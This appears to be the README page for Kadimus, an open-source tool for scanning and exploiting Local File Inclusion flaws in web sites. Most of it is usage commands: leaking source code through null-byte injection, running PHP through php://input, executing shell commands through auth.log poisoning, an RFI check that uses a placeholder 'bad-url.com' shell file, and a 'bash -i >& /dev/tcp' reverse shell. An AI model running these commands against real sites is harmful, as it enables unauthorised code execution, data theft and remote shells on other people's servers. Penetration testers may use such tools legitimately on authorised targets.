Kadimus - Local File Inclusion (LFI) Scan & Exploit Tool

Kadimus - Local File Inclusion (LFI) Scan & Exploit Tool

Kadimus is a tool that allows you to detect and exploit the Local File Inclusion (LFI) vulnerability in sites.


  • Check all url parameters
  •  /var/log/auth.log RCE
  •  /proc/self/environ RCE
  •  php://input RCE
  •  data://text RCE
  •  Source code disclosure
  •  Multi thread scanner
  •  Command shell interface through HTTP Request
  •  Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
  •  Proxy socks5 support for bind connections


$ git clone https://github.com/P0cL4bs/Kadimus.git
$ cd Kadimus
You can run the configure file:
Or follow this steps:

Installing libcurl:

  • CentOS/Fedora:
# yum install libcurl-devel
  • Debian based:
# apt-get install libcurl4-openssl-dev
  • Mac OS X based:
$ brew install openssl

Installing libpcre:

  • CentOS/Fedora:
# yum install pcre-devel
  • Debian based:
# apt-get install libpcre3-dev
  • Mac OS X based:
$ brew install pcre

Installing libssh:

  • CentOS/Fedora:
# yum install libssh-devel
  • Debian based:
# apt-get install libssh-dev
  • Mac OS X based:
$ brew install libssh

      -O FILE                   Set output file (Default: stdout)


  • Scanning:
./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0
  • Get source code of file:
./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg
  • Execute php code:
./kadimus -t localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -X input
  • Execute command:
./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost
  • Checking for RFI:
You can also check for RFI errors, just put the remote URL on resource/common_files.txt and the regex to identify this, example:
/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
in file:
http://bad-url.com/shell.txt?:scorpion say get over here
  • Reverse shell:
./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i
>& /dev/tcp/ 0>&1' --retry-times 0
